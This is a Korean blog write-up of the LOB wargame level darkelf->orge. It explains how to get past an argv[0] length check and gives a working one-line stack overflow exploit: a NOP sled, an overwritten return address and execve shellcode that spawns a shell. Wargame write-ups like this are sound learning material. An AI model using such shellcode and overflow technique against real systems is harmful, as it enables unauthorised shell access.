튜기's blogggg

LOB darkelf->orge

by St1tch



이전 문제에서 조건이 한개 더 늘었다.

argv[0]의 길이가 77이 아니면 종료가 되는 조건이 생겼다.

따라서 gdb로 분석을 할때는 홈폴더파일 /tmp 하위경로로 복사를 한 후,

그 파일이름의 길이를 (77-경로 이름의 길이)로 바꿔준 후 진행했다.



실행파일의 길이만 잘 맞으면 이전문제의 exploit을 ret주소만 빼고 그대로 사용할 수 있다.

ret주소를 알기위해 *(argv+2)의 주소를 확인했다.

0xbffffd69라고 나와있고 \x90값이 잘 채워져 있는것을 확인할 수 있다.


이를 토대로 전의 익스플로잇에서 약간만 수정했다.


[exploit code]

./orge `python -c 'print "\x90"*44 + "\x0f\xfc\xff\xbf"'` `python -c 'print "\x90"*512 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`




실행을 시키면 ret주소가 맞지 않는지 segmentation fault가 뜬다.

따라서 gdb를 이용해 dumpcore를 살펴보았다.



모두 \x90으로 덮혀 있어 좀 복잡하긴한데 빨간색 밑줄이 ret주소이고 그 이후로는 argv[2]영역이다.

따라서 gdb로 보았을 때와 주소차이가 좀 있다. 

ret주소를 수정하였다.


위 까지는 /tmp/하위폴더에서 했기 때문에 쉘이 따지는 것 까지 확인만 했다.

쉘이 따지는걸 확인했기 때문에 홈폴더에서 다시 쉘을 획득해야한다.


경로 길이확인


orge의 이름을 77-14만큼 만들어줌

(ln -s로 심볼릭 링크를 만들어줘도 됨)



공격 성공


블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기